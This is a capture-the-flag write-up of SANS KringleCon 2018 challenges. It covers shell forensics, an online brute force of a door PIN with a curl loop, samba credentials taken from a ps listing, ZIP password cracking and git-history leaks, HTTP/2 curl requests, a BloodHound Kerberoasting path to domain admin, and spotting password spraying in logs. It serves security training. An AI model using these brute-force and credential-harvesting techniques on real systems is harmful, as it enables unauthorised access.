  was written.  Complete this challenge by submitting
  that name to runtoanswer.
elf@612b2a7501cc:~$

Let's see what files we can see:

elf@6bb580d3ee2e:~$ ls -lha
total 5.4M
drwxr-xr-x 1 elf  elf  4.0K Dec 14 16:28 .
drwxr-xr-x 1 root root 4.0K Dec 14 16:28 ..
-rw-r--r-- 1 elf  elf   419 Dec 14 16:13 .bash_history
-rw-r--r-- 1 elf  elf   220 May 15  2017 .bash_logout
-rw-r--r-- 1 elf  elf  3.5K Dec 14 16:28 .bashrc
-rw-r--r-- 1 elf  elf   675 May 15  2017 .profile
drwxr-xr-x 1 elf  elf  4.0K Dec 14 16:28 .secrets
-rw-r--r-- 1 elf  elf  5.0K Dec 14 16:13 .viminfo
-rwxr-xr-x 1 elf  elf  5.3M Dec 14 16:13 runtoanswer
elf@6bb580d3ee2e:~$ ls -lhaR .secrets/
.secrets/:
total 12K
drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 .
drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 ..
drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 her
.secrets/her:
total 12K
drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 .
drwxr-xr-x 1 elf elf 4.0K Dec 14 16:28 ..
-rw-r--r-- 1 elf elf 1.9K Dec 14 16:13 poem.txt
elf@6bb580d3ee2e:~$ cat .secrets/her/poem.txt
Once upon a sleigh so weary, Morcel scrubbed the grime so dreary,
Shining many a beautiful sleighbell bearing cheer and sound so pure--
  There he cleaned them, nearly napping, suddenly there came a tapping,
As of someone gently rapping, rapping at the sleigh house door.
"'Tis some caroler," he muttered, "tapping at my sleigh house door--
  Only this and nothing more."
Then, continued with more vigor, came the sound he didn't figure,
Could belong to one so lovely, walking 'bout the North Pole grounds.
  But the truth is, she WAS knocking, 'cause with him she would be talking,
Off with fingers interlocking, strolling out with love newfound?
Gazing into eyes so deeply, caring not who sees their rounds.
  Oh, 'twould make his heart resound!
Hurried, he, to greet the maiden, dropping rag and brush - unlaiden.
Floating over, more than walking, moving toward the sound still knocking,
  Pausing at the elf-length mirror, checked himself to study clearer,
Fixing hair and looking nearer, what a hunky elf - not shocking!
Peering through the peephole smiling, reaching forward and unlocking:
  NEVERMORE in tinsel stocking!
Greeting her with smile dashing, pearly-white incisors flashing,
Telling jokes to keep her laughing, soaring high upon the tidings,
  Of good fortune fates had borne him.  Offered her his dexter forelimb,
Never was his future less dim!  Should he now consider gliding--
No - they shouldn't but consider taking flight in sleigh and riding
  Up above the Pole abiding?
Smile, she did, when he suggested that their future surely rested,
Up in flight above their cohort flying high like ne'er before!
  So he harnessed two young reindeer, bold and fresh and bearing no fear.
In they jumped and seated so near, off they flew - broke through the door!
Up and up climbed team and humor, Morcel being so adored,
  By his lovely NEVERMORE!
-Morcel Nougat

We find the poem in the .secrets folder. Good stuff, there, Morcel... Anyway, I first thought that the name of the elf was Nevermore, however it was not the case. So let's keep looking.

elf@6bb580d3ee2e:~$ cat .bash_history
set -o history
whoami
echo "No, really...  /-:"
mkdir -p .secrets/her/
firefox https://www.google.com/search?q=love+poetry
vim
ls -lAR
exit
set -o history
df -h
who
firefox https://www.google.com/search?q=replacing+strings+in+vim
time vim
ls -lAR
exit
set -o history
vim
exit
ls -lA
cat .bash_history
echo "" >> .bash_history
firefox https://www.google.com/search?q=turn+off+bash+history
set +o history
set +o history

Apparently, in addition to ripping off love poem from the web, Morcel searched how to replace strings in vim. So he must have used vim to write the poem. Let's take a look at the .viminfo file:

elf@6bb580d3ee2e:~$ cat .viminfo
# This viminfo file was generated by Vim 8.0.
# You may edit it if you're careful!
# Viminfo version
|1,4
# Value of 'encoding' when this file was written
*encoding=latin1
# hlsearch on (H) or off (h):
~h
# Last Substitute Search Pattern:
~MSle0~&Elinore
# Last Substitute String:
$NEVERMORE
# Command Line History (newest to oldest):
:q
|2,0,1546268730,,"q"
:wq
|2,0,1536607231,,"wq"
:%s/Elinore/NEVERMORE/g
|2,0,1536607217,,"%s/Elinore/NEVERMORE/g"
[snip]

So, the name of the elf who received the poem seems to be Elinore.

KringleCon Speaker Unpreparedness room

We're in front of the unprepared speaker room, but there's a code to enter, by pressing four different symbols, △□○☆:

Yannick's (dirty) solution

By pressing four of the buttons randomly, we get an error message:

If we take a look at the network requests that were made, we can see that a GET request was made to the https://doorpasscoden.kringlecastle.com/checkpass.php?i=0003&resourceId=undefined URL.

The i variable seems to be holding our passcode. If we click another button, another request is directly made to https://doorpasscoden.kringlecastle.com/checkpass.php?i=0031&resourceId=undefined

We can see that our i variable went from 0003 to 0031. From this, we can see that:

△ = 0
□ = 1
○ = 2
☆ = 3

A four-digit PIN means 10.000 possible values. It's quite easily manageable by bruteforce, even online. So let's write a simple one-liner that will try every possible value:

$ for i in `seq -w 9999`; do echo $i; curl "https://doorpasscoden.kringlecastle.com/checkpass.php?i=$i&resourceId=undefined" > $i.txt 2>/dev/null & done

This loop will generate every number between 0000 and 9999, perform a GET request to the URL that checks the passcode, and save the output in a file named after the passcode. The & before the done means that our curl commands will run in their own thread. After a few seconds, we can list our different files, and sort them by size:

$ ls -lhSr
[snip]
-rw-r--r-- 1 XXX XXX  46 déc.  31 16:18 0001.txt
-rw-r--r-- 1 XXX XXX 142 déc.  31 16:18 0120.txt
$ cat 0120.txt
{"success":true,"resourceId":"undefined","hash":"0273f6448d56b3aba69af76f99bdc741268244b7a187c18f855c6302ec93b703","message":"Correct guess!"}

Our largest file was 0120.txt, which gives us the correct passcode, 0120, which means △□○△. Let's input this on the website:

This gives us the message Welcome unprepared speaker!.

The "official" solution

The name of the challenge, and Tangle Coalbox, hint at taking a look at de Bruijn sequence. Indeed, since the code is tested every time the button is pressed, we don't have to perform a full bruteforce attack. We can generate a de Bruijn sequence of four symbols (length of the PIN) chosen in a set of four symbols (the number of buttons we have). This sequence tells us which buttons to push. Let's use this website to generate our sequence, with parameters k = 4, n = 4. The sequence is:

0 0 0 0 1 0 0 0 2 0 0 0 3 0 0 1 1 0 0 1 2 0 0 1 3 0 0 2 1 0 0 2 2 0 0 2 3 0 0 3 1 0 0 3 2 0 0 3 3 0 1 0 1 0 2 0 1 0 3 0 1 1 1 0 1 1 2 0 1 1 3 0 1 2 1 0 1 2 2 0 1 2 3 0 1 3 1 0 1 3 2 0 1 3 3 0 2 0 2 0 3 0 2 1 1 0 2 1 2 0 2 1 3 0 2 2 1 0 2 2 2 0 2 2 3 0 2 3 1 0 2 3 2 0 2 3 3 0 3 0 3 1 1 0 3 1 2 0 3 1 3 0 3 2 1 0 3 2 2 0 3 2 3 0 3 3 1 0 3 3 2 0 3 3 3 1 1 1 1 2 1 1 1 3 1 1 2 2 1 1 2 3 1 1 3 2 1 1 3 3 1 2 1 2 1 3 1 2 2 2 1 2 2 3 1 2 3 2 1 2 3 3 1 3 1 3 2 2 1 3 2 3 1 3 3 2 1 3 3 3 2 2 2 2 3 2 2 3 3 2 3 2 3 3 3 3

If we input this sequence, we get the correct code after pressing only 22 buttons.

Data Repo Analysis

After solving the last challenge, stuff begins to happen at KringleCon:

Here's what's happening

Suddenly, all elves in the castle start looking very nervous. You can overhear some of them talking with worry in their voices.

The toy soldiers, who were always gruff, now seem especially determined as they lock all the exterior entrances to the building and barricade all the doors. No one can get out! And the toy soldiers' grunts take on an increasingly sinister tone.

Uh-oh, seems like sh*t's about to go down! Let's keep solving our challenges, maybe we'll learn more about this.

Wunorse Openslae's Cranberry Pi Challenge

Wunorse Openslae is supposed to upload his report to a samba share, but can't remember the password. We're supposed to help him uploading his report:

Thank you Madam or Sir for the help that you bring!
I was wondering how I might rescue my day.
Finished mucking out stalls of those pulling the sleigh,
My report is now due or my KRINGLE's in a sling!
There's a samba share here on this terminal screen.
What I normally do is to upload the file,
With our network credentials (we've shared for a while).
When I try to remember, my memory's clean!
Be it last night's nog bender or just lack of rest,
For the life of me I can't send in my report.
Could there be buried hints or some way to contort,
Gaining access - oh please now do give it your best!
-Wunorse Openslae
Complete this challenge by uploading the elf's report.txt
file to the samba share at //localhost/report-upload/
elf@566501e7c881:~$

I tried the usual suspects: bash history files, looking at /etc/samba/smb.conf, looking into /var/log, looking at cron files, checking what I could run with sudo, etc. This did not give anything interesting. However, the next usual suspect gave something. I checked what was running on the server, using ps:

elf@b08c86087276:~$ ps aux | less
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0  17952  2860 pts/0    Ss   22:22   0:00 /bin/bash /sbin/init
root        11  0.0  0.0  45320  3060 pts/0    S    22:22   0:00 sudo -u manager /home/manager/
samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not
-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress
//localhost/report-upload/ directreindeerflatterystable -U report-upload
root        16  0.0  0.0  45320  3180 pts/0    S    22:22   0:00 sudo -u elf /bin/bash
manager     18  0.0  0.0   9500  2412 pts/0    S    22:22   0:00 /bin/bash /home/manager/samba-
wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-a
s-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress //loca
lhost/report-upload/ directreindeerflatterystable -U report-upload
elf         20  0.0  0.0  18208  3360 pts/0    S    22:22   0:00 /bin/bash
root        24  0.0  0.0 316680 15420 ?        Ss   22:22   0:00 /usr/sbin/smbd
root        25  0.0  0.0 308372  5704 ?        S    22:22   0:00 /usr/sbin/smbd
root        26  0.0  0.0 308388  5516 ?        S    22:22   0:00 /usr/sbin/smbd
root        28  0.0  0.0 316664  5868 ?        S    22:22   0:00 /usr/sbin/smbd
manager     49  0.0  0.0   4196   660 pts/0    S    22:27   0:00 sleep 60
elf         50  0.0  0.0  36636  2860 pts/0    R+   22:27   0:00 ps aux
elf         51  0.0  0.0   6556   956 pts/0    S+   22:27   0:00 less

It seems that some scripts of the manager user are running, with a password given as a CLI argument. The samba credentials seem to be report-upload:directreindeerflatterystable. Let's try them:

elf@b08c86087276:~$ smbclient -U report-upload //localhost/report-upload directreindeerflattery
stable
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.12-Debian]
smb: \> put report.txt
putting file report.txt as \report.txt (250.5 kb/s) (average 250.5 kb/s)
smb: \> Terminated
elf@b08c86087276:~$

                               .;;;;;;;;;;;;;;;'
                             ,NWOkkkkkkkkkkkkkkNN;
                           ..KM; Stall Mucking ,MN..
                         OMNXNMd.             .oMWXXM0.
                        ;MO   l0NNNNNNNNNNNNNNN0o   xMc
                        :MO                         xMl             '.
                        :MO   dOOOOOOOOOOOOOOOOOd.  xMl             :l:.
 .cc::::::::;;;;;;;;;;;,oMO  .0NNNNNNNNNNNNNNNNN0.  xMd,,,,,,,,,,,,,clll:.
 'kkkkxxxxxddddddoooooooxMO   ..'''''''''''.        xMkcccccccllllllllllooc.
 'kkkkxxxxxddddddoooooooxMO  .MMMMMMMMMMMMMM,       xMkcccccccllllllllllooool
 'kkkkxxxxxddddddoooooooxMO   '::::::::::::,        xMkcccccccllllllllllool,
 .ooooollllllccccccccc::dMO                         xMx;;;;;::::::::lllll'
                        :MO  .ONNNNNNNNXk           xMl             :lc'
                        :MO   dOOOOOOOOOo           xMl             ;.
                        :MO   'cccccccccccccc:'     xMl
                        :MO  .WMMMMMMMMMMMMMMMW.    xMl
                        :MO    ...............      xMl
                        .NWxddddddddddddddddddddddddNW'
                          ;ccccccccccccccccccccccccc;

You have found the credentials I just had forgot,
And in doing so you've saved me trouble untold.
Going forward we'll leave behind policies old,
Building separate accounts for each elf in the lot.
-Wunorse Openslae

Wise words, Wunorse.

North Pole Git Repository

We're supposed to recover an encrypted ZIP file from the North Pole Git repository. Let's clone it, and investigate a little bit:

$ git clone https://git.kringlecastle.com/Upatree/santas_castle_automation
Clonage dans 'santas_castle_automation'...
warning: redirection vers https://git.kringlecastle.com/Upatree/santas_castle_automation.git/
remote: Enumerating objects: 949, done.
remote: Counting objects: 100% (949/949), done.
remote: Compressing objects: 100% (545/545), done.
remote: Total 949 (delta 258), reused 879 (delta 205)
Réception d'objets: 100% (949/949), 4.27 MiB | 5.85 MiB/s, fait.
Résolution des deltas: 100% (258/258), fait.
$ cd santas_castle_automation
$ find . -name '*.zip'
./schematics/ventilation_diagram.zip

Alright, we have found our ZIP file. Let's try to crack the password, it worked on previous challenges. To do so, we'll use JohnTheRipper. To be sure that you can crack password-protected ZIP files with JohnTheRIpper, make sure that you install zlib, otherwise it's not supported (got quite a few headaches because of this).

$ zip2john ./schematics/ventilation_diagram.zip > ventilation_diagram_hash.txt
ventilation_diagram.zip/ventilation_diagram/ is not encrypted!
ver 1.0 ./schematics/ventilation_diagram.zip/ventilation_diagram/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 ventilation_diagram.zip/ventilation_diagram/ventilation_diagram_2F.jpg PKZIP Encr: 2b chk, TS_chk, cmplen=366995, decmplen=415586, crc=ACFD98A7
ver 2.0 efh 5455 efh 7875 ventilation_diagram.zip/ventilation_diagram/ventilation_diagram_1F.jpg PKZIP Encr: 2b chk, TS_chk, cmplen=372752, decmplen=421604, crc=8E23EC48
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/md5decryptor.uk.txt ./ventilation_diagram_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2019-01-01 22:53) 0g/s 14259Kp/s 14259Kc/s 14259KC/s 23248758..wzpxg1kn
Session completed

Hmm, john was unable to crack our hash. I tried several wordlists, but to no avail. In most challenges, if there's a password cracking question, the password will most likely be in common wordlists or leaked databases. So, let's try something else.

A Git repository can be very resourceful. Indeed, we have access to the files and the history of modifications, commits, and such. It worked in a previous SANS Christmas challenge. So, let's give it a try here:

$ git log -p | grep -i password
[snip]
-Our Lead InfoSec Engineer Bushy Evergreen has been noticing an increase of brute force attacks in our logs. Furthermore, Albaster discovered and published a vulnerability with our password length at the last Hacker Conference.
-Bushy directed our elves to change the password used to lock down our sensitive files to something stronger. Good thing he caught it before those dastardly villians did!
-Hopefully this is the last time we have to change our password again until next Christmas.
-Password = 'Yippee-ki-yay'
[snip]

Alright! We seem to have found our password. Let's try it:

$ unzip -d ventilation_diagram -P Yippee-ki-yay ./schematics/ventilation_diagram.zip
Archive:  ./schematics/ventilation_diagram.zip
inflating: ventilation_diagram/ventilation_diagram/ventilation_diagram_2F.jpg
inflating: ventilation_diagram/ventilation_diagram/ventilation_diagram_1F.jpg

It worked! The password is Yippee-ki-yay, and we gained access to two files, which seem to be schematics for ventilation conducts: one for the first floor (1F) and one for the second floor (2F). Maybe they'll come in handy later...

AD Privilege Discovery

Just as we find the schematics, Hans begins his little speech:

Hans says

In the main lobby on the bottom floor of Santa's castle, Hans calls everyone around to deliver a speech.

Ladies and Gentlemen…

Ladies and Gentlemen…

Due to the North Pole’s legacy of providing coal as presents around the globe they are about to be taught a lesson in the real use of POWER.

You will be witnesses.

Now, Santa… that's a nice suit… John Philips, North Pole. I have two myself. Rumor has it Alabaster buys his there.

I have comrades in arms around the world who are languishing in prison.

The Elvin State Department enjoys rattling its saber for its own ends. Now it can rattle it for ME.

The following people are to be released from their captors.

In the Dungeon for Errant Reindeer, the seven members of the New Arietes Front.

In Whoville Prison, the imprisoned leader of ATNAS Corporation, Miss Cindy Lou Who.

In the Land of Oz, Glinda the Good Witch.

So, Hans wants the release of the villains who tried to disrupt these past Christmases. Well, except for the Doctor, who was pardoned. We love you, Doctor!

Holly Evergreen's Cranberry Pi Challenge

The candy striper has stopped, and we must start it again by performing the right curl command to http://localhost:8080/.

I am Holly Evergreen, and now you won't believe:
Once again the striper stopped; I think I might just leave!
Bushy set it up to start upon a website call.
Darned if I can CURL it on - my Linux skills apall.
Could you be our CURLing master - fixing up this mess?
If you are, there's one concern you surely must address.
Something's off about the conf that Bushy put in place.
Can you overcome this snag and save us all some face?
  Complete this challenge by submitting the right HTTP
  request to the server at http://localhost:8080/ to
  get the candy striper started again. You may view
  the contents of the nginx.conf file in
  /etc/nginx/, if helpful.
elf@451e98e0a27c:~$

Let's start with something simple:

elf@44672f31f7a9:~$ curl http://localhost:8080/
   ����

Hmm, nothing useful. I took a look at /etc/nginx/sites-enabled/default (the only enabled file), but nothing interesting. I then tried to take a look at several configuration file (/etc/nginx/snippets/fastcgi-php.conf, /etc/nginx/fastcgi.conf, /etc/php/7.0/fpm/php-fpm.conf, etc.), but nothing interesting. I then realized that the prompt tells us to look at /etc/nginx/nginx.conf 🤦‍♂️. Anyway, let's take a look:

elf@44672f31f7a9:/etc/nginx$ cat nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
        worker_connections 768;
        # multi_accept on;
}
http {
[snip]
        server {
        # love using the new stuff! -Bushy
                listen                  8080 http2;
                # server_name           localhost 127.0.0.1;
                root /var/www/html;
                location ~ [^/]\.php(/|$) {
                    fastcgi_split_path_info ^(.+?\.php)(/.*)$;
                    if (!-f $document_root$fastcgi_script_name) {
                        return 404;
                    }
                    # Mitigate https://httpoxy.org/ vulnerabilities
                    fastcgi_param HTTP_PROXY "";
                    # SCRIPT_FILENAME parameter is used for PHP FPM determining

                    # fastcgi_pass 127.0.0.1:9000;
                    fastcgi_pass unix:/var/run/php/php-fpm.sock;
                    fastcgi_index index.php;

                    # include the fastcgi_param setting
                    include fastcgi_params;

                    # SCRIPT_FILENAME parameter is used for PHP FPM determining
                    #  the script name. If it is not set in fastcgi_params file,
                    # i.e. /etc/nginx/fastcgi_params or in the parent contexts,
                    # please comment off following line:
                    # fastcgi_param  SCRIPT_FILENAME   $document_root$fastcgi_script_name;
                }

                }
[snip]

Ah! The webserver is configured to use HTTP/2. We take a look at curl's man page, and we find the --http2 option. Let's try it:

elf@44672f31f7a9:/etc/nginx$ curl --http2 http://localhost:8080/
   ����

Hmm, same result as before. I then tried several options, regarding the compression, and other stuff, but it didn't work. Out of frustration, I tried another HTTP/2 option, to wit --http2-prior-knowledge:

elf@44672f31f7a9:/etc/nginx$ curl --http2-prior-knowledge http://localhost:8080/
<html>
 <head>
  <title>Candy Striper Turner-On'er</title>
 </head>
 <body>
 <p>To turn the machine on, simply POST to this URL with parameter "status=on"

 </body>
</html>

Wow, it worked. I couldn't believe it. Let's take a closer look at what this options does:

--http2-prior-knowledge

(HTTP) Tells curl to issue its non-TLS HTTP requests using HTTP/2 without HTTP/1.1 Upgrade. It requires prior knowledge that the server supports HTTP/2 straight away. HTTPS requests will still do HTTP/2 the standard way with negotiated protocol version in the TLS handshake.

Apparently, it's used when you know that the server is using HTTP/2, and you contact it in plain text, and you don't want to rely on the HTTP/1.1 to HTTP/2 upgrade. This is exactly our use-case. Anyway, the server tells us to perform a POST request, with status=on. This can be done with curl with the -d option:

elf@451e98e0a27c:~$ curl --http2-prior-knowledge -d 'status=on' http://localhost:8080/
<html>
 <head>
  <title>Candy Striper Turner-On'er</title>
 </head>
 <body>
 <p>To turn the machine on, simply POST to this URL with parameter "status=on"

                                                                okkd,
                                                               OXXXXX,
                                                              oXXXXXXo
                                                             ;XXXXXXX;
                                                            ;KXXXXXXx
                                                           oXXXXXXXO
                                                        .lKXXXXXXX0.
  ''''''       .''''''       .''''''       .:::;   ':okKXXXXXXXX0Oxcooddool,
 'MMMMMO',,,,,;WMMMMM0',,,,,;WMMMMMK',,,,,,occccoOXXXXXXXXXXXXXxxXXXXXXXXXXX.
 'MMMMN;,,,,,'0MMMMMW;,,,,,'OMMMMMW:,,,,,'kxcccc0XXXXXXXXXXXXXXxx0KKKKK000d;
 'MMMMl,,,,,,oMMMMMMo,,,,,,lMMMMMMd,,,,,,cMxcccc0XXXXXXXXXXXXXXOdkO000KKKKK0x.
 'MMMO',,,,,;WMMMMMO',,,,,,NMMMMMK',,,,,,XMxcccc0XXXXXXXXXXXXXXxxXXXXXXXXXXXX:
 'MMN,,,,,,'OMMMMMW;,,,,,'kMMMMMW;,,,,,'xMMxcccc0XXXXXXXXXXXXKkkxxO00000OOx;.
 'MMl,,,,,,lMMMMMMo,,,,,,cMMMMMMd,,,,,,:MMMxcccc0XXXXXXXXXXKOOkd0XXXXXXXXXXO.
 'M0',,,,,;WMMMMM0',,,,,,NMMMMMK,,,,,,,XMMMxcccckXXXXXXXXXX0KXKxOKKKXXXXXXXk.
 .c.......'cccccc.......'cccccc.......'cccc:ccc: .c0XXXXXXXXXX0xO0000000Oc
                                                    ;xKXXXXXXX0xKXXXXXXXXK.
                                                       ..,:ccllc:cccccc:'

Unencrypted 2.0? He's such a silly guy.
That's the kind of stunt that makes my OWASP friends all cry.
Truth be told: most major sites are speaking 2.0;
TLS connections are in place when they do so.
-Holly Evergreen
<p>Congratulations! You've won and have successfully completed this challenge.
<p>POSTing data in HTTP/2.0.
 </body>
</html>

And just like that, our candy striper started up!

SANS Slingshot Linux image

We're supposed to take a look at the data set contained in this Slinghost LInux image to find how to elevate our privileges on a Active Directory environment. Let's fire up VirtualBox and start the VM. Make sure that you configure the VM to run in 64 bits, or it won't boot (I lost half an hour before figuring this out).

When the VM boots up, we get access to a Linux desktop, with a shortcut to the BloodHound tool.

This tool, created by the Specter Ops team, can be used to easily find a privilege escalation path from simple user to domain administrator:

We're asked to find a path from a Kerberoastable user to domain administrator privileges. If you want more information on Kerberoasting, here are a few resources:

Tim Medin: Attacking Kerberos: Kicking the Guard Dog of Hades.
Rob Fuller's three part series on the topic.
Will Schroeder's detailed explanation of the attack and on how to perform it.

Luckily, BloodHound has a query to search such a path:

If we click on it, we get this result:

Now, we're told not to rely on RDP access to determine administrative access. So let's focus on this part of the graph:

Here's the attack flow:

LDUBEJ00320@AD.KRINGLECASTLE.COM is a Kerberoastable user, so we can recover their password (it it's weak enough).
They're a member of the IT_00332 group. This group (and thus, so are we) is local administrator on the COMP00185 computer.
JBETAK00084@AD.KRINGLECASTLE.COM has a session on the COMP00185 computer. Since we're local administrator on this machine, we can recover JBETAK00084's password (for example, using mimikatz)
JBETAK00084 is a member of the domain administrator group. Since we can get their password, we can elevate our privileges to domain administrator.

Therefore, the initial user we're looking for is LDUBEJ00320@AD.KRINGLECASTLE.COM.

Badge Manipulation

Things keep getting more tense:

The toy soldiers say

The toy soldiers continue behaving very rudely, grunting orders to the guests and to each other in vaguely Germanic phrases.

Links.

Nein! Nein! Nein!

No one is coming to help you.

Get the over here!

Schnell!

Suddenly, one of the toy soldiers appears wearing a grey sweatshirt that has written on it in red pen, "NOW I HAVE A ZERO-DAY. HO-HO-HO."

A rumor spreads among the elves that Alabaster has lost his badge. Several elves say, "What do you think someone could do with that?"

Pepper Minstix' Cranberry Pi Challenge

Apparently, someone's email account was compromised, and we have to analyze logs to find out which one:

I am Pepper Minstix, and I'm looking for your help.
Bad guys have us tangled up in pepperminty kelp!
"Password spraying" is to blame for this our grinchly fate.
Should we blame our password policies which users hate?

Here you'll find a web log filled with failure and success.
One successful login there requires your redress.
Can you help us figure out which user was attacked?
Tell us who fell victim, and please handle this with tact...

  Submit the compromised webmail username to
  runtoanswer to complete this challenge.
elf@3c8eb61a4504:~$

Let's take a look at the file we have:

elf@3c8eb61a4504:~$ ls -lh
total 6.8M
-rw-r--r-- 1 elf elf 1.4K Dec 14 16:13 evtx_dump.py
-rw-r--r-- 1 elf elf 1.1M Dec 14 16:13 ho-ho-no.evtx
-rwxr-xr-x 1 elf elf 5.7M Dec 14 16:13 runtoanswer

So, we have runtoanswer — once we have found who was compromised —, we have ho-ho-no.evtx — which is a Windows log extract — and we have a evtx_dump.py Python script, which parses the .evtx, and dump the result in an XML format:

elf@3c8eb61a4504:~$ python evtx_dump.py ho-ho-no.evtx
<?xml version="1.1" encoding="utf-8" standalone="yes" ?>
<Events>
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Name="Mi
crosoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider>
<EventID Qualifiers="">4647</EventID>
<Version>0</Version>
<Level>0</Level>
<Task>12545</Task>
<Opcode>0</Opcode>
<Keywords>0x8020000000000000</Keywords>
<TimeCreated SystemTime="2018-09-10 12:18:26.972103"></TimeCreated>
<EventRecordID>231712</EventRecordID>
<Correlation ActivityID="{fd18dc13-48f8-0001-58dc-18fdf848d401}" RelatedActivityID=""></Correla
tion>
<Execution ProcessID="660" ThreadID="752"></Execution>
<Channel>Security</Channel>
<Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer>
<Security UserID=""></Security>
</System>
<EventData><Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-500</Data>
<Data Name="TargetUserName">Administrator</Data>
<Data Name="TargetDomainName">EM.KRINGLECON</Data>
<Data Name="TargetLogonId">0x0000000000969b09</Data>
</EventData>
</Event>
[snip]

For ease of analysis, you can download the XML file here. We're told that the attack was a password spraying attack. This means that an attacker chooses a well-known or very probable password, such as P@ssw0rd, or Winter2018, and tries to authenticate as every user with this password. This can be very efficient, because it allows to find weak accounts, without risking blocking any account.

If we look at the XML log file, we can see that the attacker tried to authenticate as every user in alphabetical order, starting with aaron.smith, abhishek.kumar, etc., all the way down to vinod.kumar, wunorse.openslae. If the login didn't work, we can see that the event has an attribute <Data Name="FailureReason">. Let's try some regex magic to find which user does not have such an attribute:

$ grep -E '<Data Name="TargetUserName">[a-z.]+</Data>|<Data Name="FailureReason">%%2313</Data>' ho-ho-no.xml # We only target users with lower-case username
            <Data Name="TargetUserName">sparkle.redberry</Data>
            <Data Name="FailureReason">%%2313</Data>
            <Data Name="TargetUserName">sparkle.redberry</Data>
            <Data Name="TargetUserName">sparkle.redberry</Data>
            <Data Name="TargetUserName">bushy.evergreen</Data>
            <Data Name="TargetUserName">bushy.evergreen</Data>
            <Data Name="TargetUserName">test.user</Data>
            <Data Name="FailureReason">%%2313</Data>
            <Data Name="TargetUserName">shinny.upatree</Data>
            <Data Name="TargetUserName">shinny.upatree</Data>
            <Data Name="TargetUserName">aaron.smith</Data>
            <Data Name="FailureReason">%%2313</Data>
            <Data Name="TargetUserName">abhishek.kumar</Data>
            <Data Name="FailureReason">%%2313</Data>
            <Data Name="TargetUserName">adam.smith</Data>
            <Data Name="FailureReason">%%2313</Data>
            [snip]
            <Data Name="TargetUserName">mike.miller</Data>
            <Data Name="FailureReason">%%2313</Data>
            <Data Name="TargetUserName">mike.smith</Data>
            <Data Name="FailureReason">%%2313</Data>
            <Data Name="TargetUserName">mike.williams</Data>
            <Data Name="FailureReason">%%2313</Data>
            <Data Name="TargetUserName">minty.candycane</Data>
            <Data Name="TargetUserName">minty.candycane</Data>
            <Data Name="TargetUserName">mohamed.ahmed</Data>
            <Data Name="FailureReason">%%2313</Data>
            <Data Name="TargetUserName">mohamed.ali</Data>
            <Data Name="FailureReason">%%2313</Data>
            <Data Name="TargetUserName">muhammad.ali</Data>
            <Data Name="FailureReason">%%2313</Data>

We can see that minty.candycane does not have a FailureReason after her login event. This means that the password spraying attack worked against her account. She's the account we're looking for:

elf@230a1d67fee6:~$ ./runtoanswer
Loading, please wait......



Whose account was successfully accessed by the attacker's password spray? minty.candycane


MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM   MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMM   NM   M   NMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMM             MMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMW  KWMMNK       KWMMNK KMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMM       NMMM   MMM       WMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMW        K           NMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMN   MMMMMMMMMMMWK           KWMMMMMMMMMMM   WMMMMMMMMMMMM
MMMMMMWK MMM    MMMMMMMMMMMMMMM      NMMMMMMMMMMMMMMM   KMMWKKWMMMMMM
MMMMMM   KMM    MMMMMMMMMMMMN KNM   MN  WMMMMMMMMMMMM   KMM    MMMMMM
M        KMM    MMMMMMMMMMMM             MMMMMMMMMMMM   KMM         M
MMN       MM    MMMMMMMMMMMMMN        KWMMMMMMMMMMMMM   KMM       NMM
MW              MMN   MMMMMWMMMMW   MMMMWWMMMMW   WMM             KMM
M     KWMN      NMK   MMMN     NM   M      MMM    NM       NMNK     M
MMWWMMW               WMM                  WMM               NMMMNWMM
MMMN        NMMW       NMK   N        KK   WM       KMMW        KWMMM
MM      KWMMMM               MMMM   MMMN               MMMMWK     KMM
MMW KNMMMMMMMMK   WMMMW       NMM   MW        MMMMWK   MMMMMMMM  KWMM
MMMMMMMMMMMMMMMMMMMW                            KWMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMW      WMMMMN       WMMMMN      MMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMN       K            K       KWMMMMMMMMMMMMMMMMMMM
MMWKKWMMMMMMMMK   MMMMW        MM   MWK      KWMMMW    MMMMMMMMNKKMMM
MM       WMMMM               MMMM   MMMN               MMMMWK     KMM
MMMN        NMMW       NMK   NK       KK   WM       KWMM         NMMM
MMWWMMWK              WMM                  WMM                MMMWMMM
